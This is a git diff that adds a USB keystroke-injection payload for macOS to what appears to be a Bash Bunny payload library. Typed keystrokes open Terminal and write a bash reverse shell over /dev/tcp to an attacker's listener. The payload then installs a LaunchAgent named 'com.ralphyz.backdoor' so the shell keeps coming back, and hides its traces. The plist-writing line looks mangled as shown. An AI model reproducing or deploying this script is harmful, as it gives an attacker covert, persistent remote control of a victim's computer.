diff --git a/payloads/library/RAZ_MacReverseShell/payload.txt b/payloads/library/RAZ_MacReverseShell/payload.txt new file mode 100644 index 00000000..8c370623 --- /dev/null +++ b/payloads/library/RAZ_MacReverseShell/payload.txt @@ -0,0 +1,68 @@ +#!/bin/bash +# +# Title: RAZ_MacReverseShell +# Author: RalphyZ +# Version: 1.1 +# Target: Mac OSX +# Dependencies: None +# +# Description: Starts a terminal window on a Mac,then creates a bash reverse +# shell inside a script, /tmp/s.sh. It then adds the script to the +# Launch Agent - establishing persistence - running at a +# user-defined interval +# +# Colors: +# Green (blinking)..........Working +# White.....................Completed without error + +# Edit this to point to the NetCat Listener +LISTENER_IP="192.168.1.100" +LISTENER_PORT="4444" + +# How often (in minutes) should this run from the Launch Agent +FREQUENCY="60" + +#----Proceed with Caution------------------------------------------------------ + +# Green blinking LED +LED G 100 + +# Human Interface Device +ATTACKMODE HID + +# Emulate the Ducky - QUACK! +QUACK DEFAULT_DELAY 300 + +# Start the Mac Terminal +QUACK COMMAND SPACE +QUACK STRING terminal +QUACK DELAY 500 +QUACK ENTER + +# Give the terminal window a second to pop up +QUACK DELAY 1000 + +# Bash Reverse Shell into a script 's.sh' +QUACK STRING echo \"bash -i \>\& /dev/tcp/${LISTENER_IP}/${LISTENER_PORT} 0\>\&1\" \> /tmp/s.sh +QUACK ENTER +QUACK DELAY 500 + +# Change file permissions to allow execution +QUACK STRING chmod +x /tmp/s.sh +QUACK ENTER +QUACK DELAY 500 + +# Add to the Launch Agents +QUACK STRING printf \"\\\n \\\n \Label\\\n \com.ralphyz.backdoor\\\n \ProgramArguments\\\n \\\n \/bin/sh\\\n \/tmp/s.sh\\\n \\\n \RunAtLoad\\\n \\\n \StartInterval\\\n \${FREQUENCY}\\\n \AbandonProcessGroup\\\n \\\n \\\n\\" \> \~/Library/LaunchAgents/com.ralphyz.backdoor.plist +QUACK ENTER +QUACK DELAY 500 + +# Load the new Launch Agent - establishing persistence - and clear the terminal +QUACK STRING launchctl load com.ralphyz.backdoor.plist \&\& clear +QUACK ENTER + +# Close the Terminal Window +QUACK COMMAND q + +# White LED for finished +LED R G B